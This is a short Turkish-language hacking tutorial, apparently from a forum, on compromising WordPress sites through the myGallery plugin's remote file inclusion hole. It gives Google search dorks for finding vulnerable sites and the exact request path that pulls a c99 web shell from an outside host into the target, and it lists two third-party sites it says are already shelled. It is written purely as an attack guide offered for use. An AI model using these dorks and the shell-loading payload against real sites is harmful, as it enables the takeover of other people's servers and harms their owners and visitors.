Shelli Çak Siteyi Hackle

S A arkadaşlar size güncel rfı açıklarıyla site hacklemeyi göstercem
güncel rfı açıkları için http://www.milw0rm.com u kullanıyorum arkadaşlar ama
milw0rm türk ıplerine kapandığı için
http://www.trproxy.net adresini kullanın
herneyse biz olaya geçelim milw0rmda [ web apps ] bölümünden güncel rfileri bulabilirz
kullandığım açık:
Wordpress Plugin myGallery <= 1.4b4 Remote File Inclusion Vulnerability

Google araması:

inurl:/mygallery/myfunctions/
Index of /mygallery/myfunctions
inurl:mygallerytmpl.php

ben "Index of /mygallery/myfunctions" aramasını kullanacağım

şimdi karşımıza bir sürü site geldi mesela
http://www.hackleneceksite.com/wp-co...y/myfunctions/

site geldi ve sitede ındex of gibi bir sayfa gelecek açılmayan sitelerde işe yaramaz yani sayfa görüntelenemiyor diye yazı geldiğinde işe yaramaz
açılan sitenin sonuna bunu ekliyoruz

mygallery/myfunctions/mygallerybrowser.php?myPath=http://evilc0der.com/c99.txt?
ekliyoruz

size iki tane hazır shellenmis site vercem

http://xn--hsmsig3-n2ac.ch/wp-conten...r.com/c99.txt?

http://setinmotion.se/wp-content/plu...r.com/c99.txt?